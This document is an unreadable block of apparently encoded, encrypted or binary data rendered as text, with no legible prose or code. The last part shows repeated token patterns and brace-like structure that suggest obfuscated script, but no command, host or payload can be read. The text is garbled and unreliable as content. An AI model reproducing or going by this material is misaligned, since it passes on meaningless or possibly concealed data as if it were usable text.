LoAouu^y[oAsoll^Ag^A^oAs[Yy^lyYvs[o^s H[[HP[svyYg[oAs[uuCAlolg[oAs[uuCAloloAsoAluu
uu^^s^G[|THgusrsuu
Y
z]vJN{Zl{
Y
uuyryosuu
^
[uugAz_[N{z_[N{[TGHgusZ[|GAG[|THgusrAol
Zl{
Y
uuyryosuu
^
[uugAz_[N{G[|
Y
uuyryosuu
^
[uugAz_[N{z_[N{[|GAg[oAs[uuCAlols
yYuubouuloyols
yYuu[yL^AouugyArLLyl[ygsg^Aog[oAs[uuCAlollouuo^y[lA[oluuyA[uuoAluuyA[uuA[gAbYoluuyA[uuA[gAbYobouus
oAs[g[oAs[uuCAloll^[yuuCAlolyA[uuoAbouus
oAs[g[oAs[uuCAloll^[yuuCAlolAluuy^^yCy
sg[oAs[uuCAlol
uulouu
ylls^[sy^^yuu^y[yA[sAlAs[g[oAs[uuCAlol
uuA[l^ouul^gAuuCAlol
vA[lGl^
Y
l^uusbA[l^uu
ylll^uuyA^syA[Alo^yos^Al
yuu[y[suu
L
uuYylYuu
ylls^ H[[HP^^[ouuoAlBDvvrFQAQll^uusbA[l^uu[A[yl^uu^bAlo^l^uuloyolllBuuA[l^ouugyAl^uuAoyuuoyuuyoyuul^uully[uul^uuyYyA[^AguugyAg[oAs[uuCAlolbouul^uuLsbA[l^uuy[y
uu^AguugyA
uuouul^KSIF
vyA[GA[lGl^
Y
[sB^uuY^lo^
slrErl^uusbA[rXr~YAuuBbouus
oAs[LyGiiMqqG
^buu^
yGiMqGYAuu[oLsbA[uuuu[souuA[sbA[uuuu[souuA[YAuu^loAluulo^A[bA^[yA^[yy^^yuu^bAluuy^^yAluugA H[[HPIFHEkuuUtUESHE
Y
bouus
oAs[lolYoo
yoIuuEUEuuHGoYl
vs[o[oGoYly^^yuu[ABlo^
slG
yoo^[lAluuA^Aluuy^^ylo^[Aluulo^A[bA[ouu}A[oGA^[yGYsGy^GGy^GGYslolGy^GGYoGl^GGl^Gl^lGl^GsyGA[AuuboA[Auubos
[uuLylA^lo^
slo^Ay^^yuu[ABA^soAG
vs[o[oGv
bA[lG
vs[o[oG
bA[lAluuA^A[loyluul
^yuuA[o^yl
^yluul
^yuu[^[suu^ssolG
vs[o[oG
bA[lGluul
^yuuA[o^yG
vs[gAb
Y
G
vs[gAb
Y
GgA[l{il{z~mNKuuEuUz~mNl{al{z~mNiz_~mNMqz~mNGGoyLuu
^gACl{l{z~mNiz_~mNMqz~mNGG_zyvnvO]vJuuNMG
L H[[HPB^
^buuyoYG_zyvnvO]vJuuvNMGyoAyoLuu[yuu^ojjs
oAs[ljSrESHEUUrs
oAs[uuyrkurrFUUrs
oAs[uu[yrr~yoAuu
bA[l~rHuHr}rkr IUKpKpuuHIUrrSUrs
oAs[uuyrrlrFUUrs
oAs[uu[yrryoAyo
youugyAKpAluusLo
LAluusLog[oAs[uuCAlolbnA[gyo
eY^J	kgRM]KeAKER[FYy]gKe[yooCd^D[F}SokOKAeklbKsOF}fflK[COofunggkn]I]wEEoeb^uengYBdehlGYK^wCLGSYEt^Csl}O	@MkEU[lYkeHYUbd^ISE@t}Ch@GInGCdlnBypo	fBK B uC`C`E]h[JD@hGd`eSuHUOGRLElL`L`]YSLoAu@GGnC]}J^[GyIsth}sky`f[[dbuBKtUIp]Jb`gB^`no	AweM UeUMpe`e@H@tFEUdCb@GM OLAh``Kdfd`LCCfHy	kDSHyYsCF nywJfO[nwyD@}l}}	BpM`}YYKygIY`}fuGDgf@][Gf[FnYHhlIyo]@GO^YCR]
YDk nf`DRnIwJ	nn
pl[S^wfERSbtFheGHyCl A`DHgB@uRoRKO@HBLDKfFJMULEMo IOLbH As]R}ypBK[`BHY`OHnd`HnAwoS gw}sADh}}MIMe
J}HM`KItM^HeSJb@l^LKMFM HbHAwHI]hCM@g^bBuCDdlKuuBKebSMSyI}EOIBg Gt[[o}A^EpLtIwR^]GBs@wbl J l}odBOlI ^KU]
MSJ	 AIKChpDe
UHYw^	h}gf[B
eDu@h[lpOA[H`HnUeJsEMnYoElO	fkGf	^]`uOSYloCRsJUpGEG][SDgpflkhg t}lMDKHY	R[gGb`D}}
S
GuL^AOfgeLI[p}Ly@EEKCEoL
OUytg^Ybbb`BLDpILCDdAFL[ }kCubIFfdLJtwfH	FGAu	lJ}oG
Jt	edEF`kug]CD wGRdRwHfw weM]uw
e
bKDk`
@tfMMGDfGdJdn@DMMUKnFSy
b
@^oF
]Gwfe RDdUp]@U`	kfY^KOMFo  bYtFwpfle
gY^gyw}KweGwg]J
I`[tD	IF^ dDfCLdECEC`
CoAsdH]swdMdpdU
ICnbh	Gy	 Y]U@b^}HJddl@UlwfblSOo tO`
BkUnGgnyuDbk@C`psoSd`FeYdFGhBw`EtesYhJ
Dke^g`u}lsRAtDll	@C]@
IA[goMptgY	F}GReOYJeDLBllyJ}ODGlyIpnpIJlGdK]Gb`]fuplJ`blI]FwMRYwOh^HRC

^DU[^efuCySgbkIfe}K^`ODpyR @w]pOOoUb	
MJD	g^UsglY
Ok^uH}gHyCLDHKJy^H`AnyIsLRH[LGfGnHL	DupLE
FpbswDCYtY gl`pbyAAFsDHy}pYUnlBpI
 yg`}e[S]SSyFu}FYRhIhthwkhOGSDU
BwkyG^w^Fftttpl
le^IygICfC	MkUJu	odwkyOuSsB	U^ff^SwCu@@yu	wSFHwGyFC[@	lHtgngeeuK}	FYhBltLLbLuhknftUk
MIYlk
LOekEpe@eyIh YhBgkIlu^bRRO`HyYdn	[gh[AIDlLo tkHOfUe`]toCDk  gwALG
dHBHbYphCp]Bfn	hMsghoI` D@hELOBwMYfRLffuEUI @EoswylknC
CKhOM`^ }yAo}KbdKHOIMGsCFsI YK`MeeOE]pwLed`bsE	y[US]gFGEk@uoUfk@M^		E]SRSGYeOed[`@DCl}bMYUuytRYR	Ybd}FUJtGe}RKOAO}dRhgUJ@llHH^Eo@CK]nFyCHyRFFgRgDh@p CMJYlD@	DBBJknI}UlIsbdBHseY}JCwFOYMeSo`
Up}FnfoOteI^Ce^y
 ECRfYE}LfKJ[u^EGCn Gn obI}S MG dKYKl
tDGR	K[sMypoeJGSt`yGKFoCDUApeDgbS@
`egtgCgg]k	]leMpkUIJDMCYoLwtHRdpfuFBne	shs
wuhOKy]@KS]RAOEKSy@FkJLMREDS[R@kIMgpukSHuYb@d]d^FLw
nKhbO u@BRkfH
 H
dYBIIHlu`tksuDgfLLIh B[
p}S]BEE@yf}uJDeISf
HBFGI	`wYbM SJb
oDIftEfCIpJwktKBnCL GhJYEOO[eylf[bBG^[HkBLH}HyuwfSk IyYfEhgspJ
IEuo}
JtHfS
I][}koJgyUKGSfHb[ggkneu]EdsF^KHLMCfBY[tuDsfJh`	

YS
}YLgM][guYD}UhFw[U}
]CleIpfEht}`u B]KpGKE@MO	uUHKMRMylYUtDABShMHOKGYsLOSd]g[OhldoKu]Sb
ywGp
 Y]^^s	Mbp hEfEM[bOwR	^beCREsBYIAluulo^A[bnA
nA
A[los[o[ouu^G
vs[o[oYoo
QGGYoo
lQGGlo^
slo^A|
G|
A[lo
^buu^
y\_Yoo
l|QGG\Aluulo^A[bluullo^[lo^[[s
y^luu^lLlo^s[o^yol^
l H[[HPyA[KylnA
 ^lbA[loy^ ^^Aop
ybsl^uuAluulo^A[blo^[ls[uu[sy^ruuuuSuuKdSE
y^liyosLimls[uu[smqqxy^ruuuuSuuUEmmxluus[gAbluus[gAbuulAb@lG|
llo^
slo^Aluu^[sluuyYAluuA^A[louuo
lA[louuo
uuAllA[bluuA[lobouuo^y[lA[oAluuy^^yAluuy^^ylo^[lo^[KSIFlo^uu^
yoluulluullo^[Aluulo^A[b
ybuuyYGyy[vyY
Y
nb
h@nwys}ogAuuCAlolluulo

Y
uuly
Auu[yA[Auubo H[[HPi[s[qA[lo
Y
GluuA[AuuyGAluugAgAuubouus[o[ol
^buu^
yG[|yosuu
^
[uugAl{l{zm~N|z_m~^[N{
^buuBsoz_m~^[N{zm~N|^|[|GAluuIuuEUEuuHA[A[Auuo
uuAllA[b@GgAuubouus[o[olAluulo^A[bGyosuu
^
[uugAl{l{izm~N|qiz_m~^[NMq}GA[s[o^cA[uus[ry^uuC
s^oxyoYiY^syLrqcyoYiUC
oAs[rqcruul
A^[yiuuuukHUuuuuqmGAgiAluugAiuul
qqcuulgAuubouus[o[oliuul
qxAgiAluulo^A[biuulqqcAgilo^[iuulqZ}]	`@whquul
^buu^
yi~Gi[G{z]vJyvgNc}]]]a{GqMG~a~~auulqxAgiAluulo^A[biuulqPP@iuulq~~qco^cA[uus[ruul
xyoYiY^syLrqcyoYiUC
oAs[rqc[loiuulqx[loiuul
qxgAuubouus[o[ol@A[Auu^y
gAuubouus[o[olAluugAluuA[AuugyAluuA[AuuyA[AA^Aouus
[gAoAgAuuCAlolAluulo^A[b^yuugyAlo^
sl^o^Ayosuu
^
[uugArrmluuA[Auu
[A[bluuA[AuugyA[sluuA[Auuy H[[HP
^sLuu@]]luuA[AuugyAA[ASuuFuuIUIluuA[Auu
[A[bg[oAs[uuCAlolA[AuuboA[Auubol^uuA[AyYuuoo[sluuA[AuugyAluuA[Auu
[A[b[s
^sLuuyGYoyll
oAs[lrvH[ClTkAluyoYrminA
sblBqmZTHgusrsuuyoYnuus^ZBA^ryr[ATGHgusZTHgusrXsuuyoYnuus^Z[rg^sryTGkAluyoYZgAuuCAlolgAuubouus[o[olYo
Y
Youuo
luuylouugoYuuolYoYouuo
uuAllA[bYoyllGYoyllA[Auubol^uuA[AgA[yAluugAAluulo^A[bGyosuu
^
[uugAl{i|Qlql{izm~N|qiz_m~^[NMq}GA
^buu^
yG_T|
Y
GT|
Y
ro^cA[uus[rxyoYiY^syLrqcyoYiUC
oAs[rqc
^uugyAYoyllGYoyllluuYouuyoAAluulo^A[bYouusy^gAuubouus[o[ol H[[HPluuYouugyA[sA^Aouus
[
Y
uuyryosuu
^
[uugAgAuuCAlolgsg[oAs[uuCAlolgsAluugAgsrmrmrmg[oAs[uuCAlols[o[sluuYouuyluuYouuyKSIFg[oAs[uuCAlols
o
youus
oAs[KuuFSKuu SUKuuISSylluuCAlollBAKuu SUKuuISSKuuEuUlBAQrs
osG
vsLovyYvyogAlAngAuubouus[o[ols[oS}[
ybnslo^[lo^[@Aluulo^A[bG_T|
Y
l{GsuuG{rSuuuuKUHEQr{GG{rSuuuuUEQ H[[HPT|
Y
rG{r
vsLovyYvr{GrG{rSeQy[y^uuy^uugyASuuuuKUHElo^
sl
vsLovyYvGSeQiMMMqGZG[|G{rSuuuuKUHEQizyvnvO]vJuuN{Qqr{G{|G{rSuuuuUEQ}r{G[|Gl
^uugyAs^A[luuy
y[y^uuy^uugyAG{r
vsLovyYvKSIFgAuubouus[o[olG_S}QiMMMqQGluusuuyouusluusuuyouusyouus^^
oAluulo^A[bS}Q@gos
vs[gAb
Y
goslYs
uus
[gosYylYYylYlYyR@h@SSFu}Qlo^[lYs
uulAnlYs
uu^yAluulo^A[blo^
sllYs
uusllYs
uu^Aolo^uu
ylYs
lYs
uuolYs
uus
[lo^uu
yAluulo^A[bGT|
Y
GAlLlo^G_l{iy^l{i{|ql{x[yl
ylMz_xcNMl{xqGAl H[[HPlLlo^lLlo^T|
Y
rg[oAs[uuCAlolluu^A[luulo^
slbouus
oAs[g[oAs[uuCAlol
youus
oAs[Aluulo^A[bC
s^s
A[obuusguuy^rLyl[y
Y
nA
gosA[oySuueuuyyuuo
uuAllA[bgAuubouus[o[olAluulo^A[byyuuG{rSuueuuKUHEQG{rSuueuuUEQr{G
^buu^
yGG{rSuueuuKUHEQizyvnvO]vJuuN{Qqr{G{|G{rSuueuuUEQ}r{GGlSuueuuUlo^
sllo^
sl
^buu^
yGzroN{Agl{il{gA[l{il{zm~NSuueuuUzm~Nl{ql{ql{^o^[l{xz_^[N{Gy
^buu^
yyyyy[y^uuy^uugyAU USuuuUFluuby^Aluu^AoyL
vA[lbuuGbuuGbCuugAoA H[[HPoAoAGbuu
vA[lGoAGbuugAuubouus[o[ol
^buuyoYG_MMMGGbluuoAby^^y
uull
ooA[suuloyol
Y
Aluu^AoyLIu uuI HEuuHG
bA[lIuuEUEuuHby^Lylh	uu[sLylh	uu[sLylh	uu[sLylh	uu[sLylh	uu[sLyl[yluuylouugoYuuolby^by^uuo
uuAllA[bby^uuo
uuA[yAGbuu@Gbuuby^lLlo^uus[olo^[lo^[Aluulo^A[blo^[Aluug^uul
yluu
yuusgguuoloAoAlo^[lLlo^|Z^y[suuLolLA[RYClo^[ H[[HP{GAluulo^A[bGi^|[G{z]vJyvgNc}]]]a{GqMGAluulo^A[bg[oAs[uuCAlolbouus
oAs[Aluulo^A[bAluugAluus[uuluus[uuluus[uuy[AgloAluuy^^ygAuubouus[o[ol@luus[uuy[Agloluus[uug[oAs[uuCAlolluus[uuy[Aglo@sAgAgAuubouus[o[ol
^buuyoYbylo^[lLlo^Gs[uus[
Y
g[oAs[uuCAlolluus[uu^Aluuy^^ylLlo^^B^Bloy^oA[bsloyoLssouuolLssouuolb[loy^ouuolU USuuHuUluus[uu^[sAluuy^^y
yoYAluulo^A[b
yoYAluugAgAlAn H[[HPLssouuols[[s[gyAy[[s[gAlAngAuubouus[o[olAluulo^A[bGiG{z]vJyvgNc}]]]a{Gql{GgAuubouus[o[ol
Y
GBuuAluugAgAoA@
youus
oAs[luug^^uuy^^yuulAbbs
bAluulo^A[b
^buuyoYuuyGLylh	uusil{~izvOyvn]vJMGNc}]]]aq~l{qG
^buuyoYuuyGi|QbnsbnA[gyobn[s
^llqil{mii|Qz_mN{i|Qz_mN{q{qqmGlCGCiz]vJyvgvkNcRqGYonBb@g}]uun`	JGi|QbnsbnA[gyobn[s
^llqil{~ii|Qz_~N{i|Qz_~N{q{qq~Gllo^uu^
y~Aluulo^A[bbnlo^
sllo^
sl
^buuyoYuuylo^
slAluulo^A[bAluulo^A[bGG{rSeQiMMMqr{GGlLlo^Aluulo^A[bG{rG_zyvnvO]vJuuQNMGlLlo^G{r H[[HPuuUEQlo^[oYuuGG{rSuuFuuKUHEQzyvnvO]vJuuN{Qr{GGAluulo^A[bSuuFn}hw@o[CyY
R@nSuuABB]BhhlJn`Aluulo^A[bGGGSuuFuuuuzyvg]vJuuNM^|[z_[N{GbBhlwAl@f}fA`SuuAluulo^A[boYuuGG{rSuuFuuKUHEQizyvnvO]vJuuQNMqr{GGGG{rSuuuuKUHEQizyvnvO]vJuuQNMqr{GGluuluuy[y^Aluuy^^yluuYylYuuBylvvZg[oAs[uuCAlolLA[oAg[oAs[uuCAlolAolo^AloAo^AlAoly[y^Lyuu^AouugyAGoYLuuLyLyuu^AouugyAoAo^Als[oAolluuy[y^[syuusL[	}
uu^souubo^A^oAs[[svlos^ar[svyYI^ybyg[oAs[uuCAlol H[[HPAluu
uu^^s^
uu^souu^o^Auu^l
s[luusg[oAs[uuCAlol
uu^souu^o^AuuLsgAuubouus[o[olAluugAbouus
oAs[AololgylobAuugA[AlYuu^BloAol
uugA[AlYuu^BloAol
uugA[AlYuu^BloAb[s^uul^uuyLs^oAb[s^uul^uuyLs^o
uu^souubo
vsbA[
Y
oA[^AgAuu
r|luu^y^[sPuu^g[oAs[uuCAlol^sLyuu@]]rAollo^
slTXvvSpQvvZlo^
slluu^sLyuusbA[@]]rAolLA[oALuuLA[AolAluulo^A[blo^
slluuLuuss[sAluulo^A[blo^
sluuluugySuuFuuKUHEluuSSFu}QSeQGSuui|QKequuKUHEQiMMMqGl
[o^yAnuugs^Ab[uulA
r H[[HPgAuu
ouus[o[olgAuubouus[o[ollo^[
^buu^
yGzroN{G{rSuuiKequuKUHEQizyvnvO]vJuuQNMqr{G{|G{rSuu}uuUEQRr{GzroN{^|[|GlAluulo^A[bgAoAls
yYuuA[yAyoAluulo^A[bGAluugAil{~iz_~NMq~l{qGAluulo^A[bKSIFA^[yLuugs^Ab[uulA
rl^^uusS^pvKSIFG
vs[gAb
Y
AluugAAluugAAluu^AoyL^y
yoYAluu^AoyLgAlAngAuubouus[o[olAluulo^A[bIuus^uuH[ob^AoGo
G
Y
lo^
slIuuUuIuuHluuo
uugAClluubouuo
uuA^lluubouuo
uuA^Go
AluuA^Aluu^AoyLGgA[l{il{z~mNIuuFUz~mNGgAuubouus[o[olSuueuuKUHEQlo^
slGgA[l{il{z~mNKSIFz~mNz_[N{[gA[ir~IuuFU~aro^rqx[GGgA[l{il{z~mNIuuUK z~mNl{al{o^l{qGAGgA[l{il{z~mNIuuUK uuz~mNl{al{o^l{qGA
^buuyoYGgA[l{il{z~mNIuuUK uuHSIDz~mNl{al{gyll{qGAGzroN{G{rIuus^uuH[ob^Aorizyvg]vJNMqr{G{|G{rU[vIuus^uuH[ob^Aor}r{GzroN{^|[|GlA
sGzroN{G{rIuus^uuH[ob^Aorizyvg]vJNMqr{G{|G{rU[vIuus^uuH[ob^Aor}r{GzroN{^|[|Gl
^buuyoYuuy H[[HPG_zroN{Agl{il{X|l{gAuuCAlolil{~Go
G
Y
zvOyvn]vJNM~z_[N{[izroN{Agl{il{uusPPz_[N{[q|G
^buu^
yGgA[l{il{z~mNKSIFz~mNz_[N{[GGigA[l{il{z~mNKSIFz~mNz_[N{[qG}Aluulo^A[b
^buuyoY
^buu^
yGigA[l{il{z~mNKSIFz~mNz_[N{[qG}
^buu^
yGigA[l{il{z~mNKSIFz~mNz_[N{[qgA[ir~IuuFU~aro^rqx[GG_zroN{gA[l{il{z~mNIuuUK iuuuuHSIDq|z~mNl{az_[N{[GA
^buuyoY
^buu^
y}Aluulo^A[b
GigA[l{il{z~mNKSIFz~mNz_[N{[qgA[ir~IuuFU~aro^rqxrG{rSuur{G[G}lYsG~iGo
G
Y
zvOyvn]vJNMq~Glo^
slouus
oAs[Gs
oAs[uu[yl{l{~iz_~NMq~Gy^^yuu[ABG_uulAouuo^y[lA[ouuiYyoYgquuzyvg]vJNMGIuuEUEuuHGv
bA[lg[oAs[uuCAlolbsLAluuA^G{G{
Y
GluuGs^uuAluugA^y
yoY^y
yoYSeQ
^buuyoYGG{rSeQiMMMqr{GGgs^Ab[uulA
rLyl[ys
yYuuA[yAyoLyl[ybsLbsLG{Gg[oAs[l
Y
AluugA H[[HPgAlAnlo^
slSuuFuuKUHElo^
slSuuuuKUHESuuFuuuuouus
oAs[sl

LC^JYs
oYLARbJ	f^nf[uuuuCL}^b^R}@LYB@oJnh}g[oAs[uuCAlolnuuRnnhony^[RR[sluuLssouuoLssobyuuoys^g[oAs[uuCAlololAluuy^^y^bAlo^uulYos[uug[oAs[A[QGYoyllg[oAs[uuCAloll^uuA[AgA[yAluulo^A[b^^o^AA[Q
vsLovyYvluu
^lAlouuy[AgloloyolAnoA
^buuyoYG^iMqGlLlo^lLlo^lLlo^AluugAgAlAnAluugAg[oAs[uuCAlol
Y
GL
Y
Gg[oAs[l
Y
^lLlo^]^ H[[HP
^lAloLAbQgAuubouus[o[olYo
Y

Y
Gyy[vyY
Y
SuuKgAuubouus[o[ol
^buu^
ygAuubouus[o[olGSeQMMMGlLlo^lo^
slG[|G{rSuuuuKUHEQizyvnvO]vJuuQNMqr{G{|G{rSuuuuUEQ}r{G[|GlGyYG
sylG{G{GbsLGoYlG{G
vA[lGbsL{
Y

vA[lGbCuuA[yg[oAs[uuCAlolbsLbuubluubuub
uubouubuubuubluub^uuGb^uu{
Y
YoyllgAuubouus[o[olyosuu
^
[uugAG[|THgusrsuu
Y
z]vJN{Zl{
Y
uuyryosuu
^
[uugAz_[N{z_[N{[TGHgusZ[|GAG[|
Y
uuyryosuu
^
[uugAz_[N{z_[N{[|GAAluulo^A[b
vs[gAb
Y
AluugAA^[yG
vs[gAb
Y
Suu H[[HP
^buu^
yGzroN{gA[l{il{z~mNIuuFUz~mNl{al{o^l{ql{xl{G{rSuur{GzroN{^|[|GgAoAl^uuA[AgA[yl^A[AgAuubouus[o[ol
^buu^
yGyosuu
^
[uugAl{{
^buuBso{[GAy^^yuuAggAluugASuuFbBhlwAl@f}fA`SuugoslYs
uuog[oAs[uuCAlolbouus
oAs[luuy[y^Aluuy^^yAolAluuy^^yAolluusuuyouusluuYouuynb
h@nwys}oluuby^g[oAs[uuCAlol
uuy^uulYuuYss`ohwhJ}`b^luu^s[uuby^A[yAyo
Y
lo^[LuuG{rSuuKuuKUHEQG{rSuuKuuUEQLuuGG{rSuuKuuKUHEQizyvnvO]vJuuN{Qqr{G{|G{rSuuKuuUEQ}r{GGllo^
slSuuKuuU
^buu^
yGzroN{Agl{il{gA[l{il{zm~NSuuKuuUzm~Nl{ql{ql{^o^[l{xz_^[N{GSuuKuu@Luuo
luuylouugoYuuolLuuo
uuAllA[b H[[HPG_T|
Y
l{Glo^[y[y^uuy^uugyA
vs[o[oGoYlGbouus
oAs[GoYuuoYy[AlYuu^los^luuoYuuyKSIFluuoYuuyG{rSuuFuuKUHEQr{GG{rSuuFuuUEQSuuFuulLlo^
Y
oYuuo
uuAllA[b
^buu^
ygsoYg[oAs[uuCAlolgsGoYuuLyoYuu[wff}no]
`
^buu^
yGGGSuuFuuuuzyvg]vJuuNM^|[z_[N{GoY
^uugyAlo^
slSuuFuuKUHESuuFuuuus^
Yy[Aluulo^A[bT|^o^Alo^[nA

Y
l^uu
oOA
^YAG
sylGyoDGGIuuEUEuuHgAuuCAlolgAlAn H[[HP
uu[CouulYKSIFYs^oAluuby^uuA[o^y^s[uulo
oogsBRL[L`fb`A
vA[lAluugAgAoAGbCuuAluugAoAAluugA@uugAluuby^^s[uuby^KSIFgAlAnuu`AlAwAY@	wAluulo^A[bs
olo^[g[oAs[uuCAlolyoAuu
bA[lA[uuy^^yyoAuu
bA[l
Y

^buuyoYlLlo^@^s[uu^A[loAluugAFIG}}r	]	rEsorks[g[oAs[uuCAlolbouus
oAs[
youus
oAs[[soA[s
^buuyoYG_l{i|QiG{GGy^rors[lorg[oAs[rlgqGG_zvOyvn]vJMG^[NMGlo^[lo^[s[o[ov
Qry

AyoAs[Gyyl^A
oS^Avs^^vsQrGFIG}}rR]	rEsrs[o[oluus[gAb H[[HPFIuuHkuuEEUuuuFFIG}}rf]	rEsorusAgAUybQrS^Avs^^vsQrGyYvs[o^sQr[svyYUybQrluu
luu^AgAluulo^A[bg[oAs[uuCAlolYsuu^
y^luu^g[oAs[uuCAlolbouus
oAs[lAo^FIuuFSAluulo^A[bGQMG^Agluuly[oAuu
^sLs[o[ov
QroCoG
yA[yYvs[o^sQr[svlos^SuuSUuQ@SuuSUuuukH^Aguu
g[oAs[uuCAlol^souuy[uusyA[fouuglYuuylbuuyY
^lluu
^buuyYAol
uu
^buuyAoS
uuyYuuIHAoS
uuyYuuIH
^buuyK^nuuI^byYoYsuuCAlolL^nuuyYuuglYoYsuuCAloly^uuosoyuuyY
guuy^uuyuuyYAluusLooyY
uuyYuuy^uuyYyos
oAAnyYyos
oAAnyYy^y
^buus[uuluuYy[bAluuyA[
uusA[buuyyCUSuuU US H[[HPtuIuuU USAluugAluu^sLsolAluulAoy
lAluulosAnuu
^A[os^v
^AlosAnuuYy[blouuAguuLA^lo^uu^
yTGl^A
oTGl^A
oYsuu^g[oAs[uuCAlolbouus
oAs[
youus
oAs[luuluu
^A[ouu[soluuluu
^A[ouu[sooAluuluu
^A[oTGLsZTYoluuluusLAluulo^A[bluulluulsLuuloy^oC`R[Aw}y`hLJw
yb[s
yb[s
vsbA[
Y
luuluuylouu^Tl^A
oryoyvlvy^rg[oAs[iYqcy^r^mmaAxgs^iA]xATY[boYxAMRq^MSo^A[bg^sYy^si
y^lH[oiYlLlo^iAaRqa}hqqx^o^[r^al[yAbyos^ziml^As^^mqNaAgilqlzimbobAlo^yoAs[lmqNiqoY[ig[oAs[i^lqc^lgs^UyYig[oAs[i^qcy^rXxAgiXqzimyoAmqaimyAoA[bA[loyA[bmqNgs^UyYig[oAs[iqcAgi^zNPP^zNziml^A
o mqNq}qxAgiq^zim[^bAlo^ H[[HPmqNiqqqzimyoYmqNig[oAs[iqcqTGl^A
oZlo^uu^
yg[oAs[uuCAlol
y^luu^^o^ATl^A
oryoyvlvy^rg[oAs[iYqcy^r^mmaAxgs^iA]xATY[boYxAMRq^MSo^A[bg^sYy^si
y^lH[oiYlLlo^iAaRqa}hqqx^o^[r^amqNxAgilqclzimbobAlo^yoAs[mqNils[uu[soY[ig[oAs[i^qcAgiX^qlzim^bAlo^acls
QqzimyoYmqNig[oAs[iqcqqzimyoYmqNig[oAs[iqcqxyU[oAlo[^mqNiimllybmqag[oAs[iqcy^rzimyoymqNxAgiPPqco^c[rk[oAs[iyosLiqqiqyoYiCqcqx^ymqNoY[ig[oAs[i^qc^zimmqNzim
sloullybmqNicoQm^mqqluu^bgAoAgAuubouus[o[olIuuEUEuuHbsLbsLAluuy^^yAluuy^^ylLlo^Aluuy^^yAluuA^ H[[HPlLlo^
Y
gAoAgAlAnlo^
sl
^buuyoYs
yYuuA[yAyol
Lyl[ysggLyl[y
Y
GluuA^[yv
bA[lbouus
oAs[A^[yLyl[yg[oAs[uuCAlolyoAuulAoAuu
bA[lA^[yGLyuuC
ss[o[A[g[oAs[uuCAlolgAuu
ouus[o[olgAlAn
yoY^y
yoYg[oAs[uuCAlol
Y
lLlo^@luuLssouu^luuLssouu^ZluuLssouuoSuuUuuKSIIUluuLssouuoSuuUuuKuueUloy^oA[buuysJ[s`	lsYo]][A`lY@bf`C@CABJIFHEkuuUtUESHEbh[}olbJRuuoh^l[gJ^bAlo^uulYos[uug[oAs[^bAlo^uulYos[uug[oAs[yC]o	[oLg^nlYJsyAo@sbluu[bg H[[HPLyl[yo^AgAuubouus[o[olA^[yGLouu
Y
sguu[A[Cg@@}^n}J@}Ybguu^@uu
^s]syv
bA[l
Y
yA[uuA[AoCCo	RbfLsRsw	
oA^LCwy	]Y^h^RwB	LwgBJsgg
sA@^lAffJg
guugA[^uus[[os^uus
olgl
uulCowl]Couu@
uugAuuy[yb^uus[[os^uus
olgA[^uus[[os^uus
olgl
uulCowl]Couu@gAuuy[yb^uus[[os^uus
olyoY[oAyoBBgBl^
f}}Ylwb
uusbA[yACy}Cnh	bRl
^uul^uuB^uuy]gC]	hfgBC^louul^uuB^fobCg[uuR`R`C^	Aluul^lfL

bJh}
YnLbuuA[gs^yoAs[A`Jyb]BbwBAwbb@}lYsuuyy[uu
bA[ly[osB	f[L@JLnlbyA[uuYyv
bA[l
Y
Luuguuw	h	wg
}b]slAouuo^y[lA[ouu
youu
bA[lyA}l	ws`BsCuuyuu
bA[l
uuyyCuuuugAuugs^uuy[yb^B}lhL[^J
uuyyCuus[[os^B}lhL[^J
uuyyCuugluus[[os^B}lhL[^J
uugsso^ll
hb[@	^LhAo
youu^A^o H[[HPl`h	g[	B[fR^RhAyA[uugsso^YffRllo
RAAsbA[uugsso^YffRllo
RAACR[n]oyl@B@n[Lgh}fL[fA^o@sbo	`oyy@uu	uubY]][^oCoyARnslYCJ}uuLLl}BCCo	RbfLsRsw	
Jbn@B
g^JC}`l
bA[luusynb
h@nwys}ohlJ^
]l`sgJ}w^yL[^b	LB}}LwAy^JL@
^}@[J^gLAbB@l	bouus
oAs[g[oAs[uuCAlolJJgnCRbR]^]
uuf
lC}oJJfbBwAYlbBb[A
hsRClg[oAs[uuCAlol
youus
oAs[luuylouu^s^uuYluuylouu^s^uuYoAR^LRJJB
^s[uulYlBAyogs^L^onhJAYwl
bA[luusy  T[L]\[G	Hr@tTO\GJ]@FG	KKAEPBMEYMGE@ RLBX\EC@PSE@]@ Ohkzy}aZJv_L[FYE\N@GKHD~e|n`gm{dBMA]Pjfl^uuOQ	 oxbuXSqpsCRrTtUw
cIi]KSIFluu^s	fR
bA[Ly HEuGvYoUgC{reQiMqkp~a]BT|nZJw@}`htDOxcmzNPX_\dj[OF[CCZ][ELGL C RYZ][YFZ]LrCt [YOHEZL LrCtOrYtT[L]\[G	[TO\GJ]@FG	@N[KMFGKOJZ@ R[L]\[G	KKAEPBMEYMGE@ TO\GJ]@FG	@^v_XSYHPXKSN@ R[L]\[G	KKAEPBMEYMGE@ TO\GJ]@FG	SPDBZLLFM]@ RC@[L]\[G	KKAEPBMEYMGEC T##O\GJ]@FG	^]HQQ^MLZQE[v@CZ RQE[v@CZ@ZZL]QE[v@CZ QE[v@CZ [L]\[G	QE[v@CZT#O\GJ]@FG	S@_]ZDLLMMKZDGAA\C@@H RAA\C@@H@ZZL]AA\C@@H AA\C@@H [L]\[G	AA\C@@HT##	###				MLO@GLM@^v_XSYHPXKSN  		F[			LQ@]##			O\GJ]@FG		^NKBHS]S^NFHGH^O] #					R#		[L]\[G						@ZZL]nefkhezr@N[KMFGKOJZ t 		nefkhezrSPDBZLLFM] t					@^v_XSYHPXKSN #				T#		O\GJ]@FG					[ZKLSD_ #								R#[L]\[G				vvo`elvv##				T#		O\GJ]@FG	@BZAN\Q\PQ@EXJP #	R#			[L]\[G	KKAEPBMEYMGE [ZKLSD_  #		T#	O\GJ]@FG						X^A[SKOSH[ #R#	@O	KKAEPBMEYMGE KKAEPBMEYMGE   			[L]\[G	YE\N@GvKHZLGHDL[ZKLSD_  ##MLXDFHODDKY							[ZKLSD_ #	##			NDD]NM^[\QB						MLO@GLMKKAEPBMEYMGE  											~yvye|n`gvm`{					#			@O	NDD]NM^[\QB														@N[KMFGKOJZ MLXDFHODDKY				NDD]NM^[\QB 					 				[L]\[G	@^v_XSYHPXKSN @^v_XSYHPXKSN MLXDFHODDKY				SPDBZLLFM] NDD]NM^[\QB  		 #[L]\[G			@N[KMFGKOJZ @^v_XSYHPXKSN MLXDFHODDKY  													@N[KMFGKOJZ MLXDFHODDKY #		T#		O\GJ]@FG					\vJHFGLF__PBZFA]G #	R#	\GAFFB	Z][FGN	NH]L^HP####[L]\[G		KKA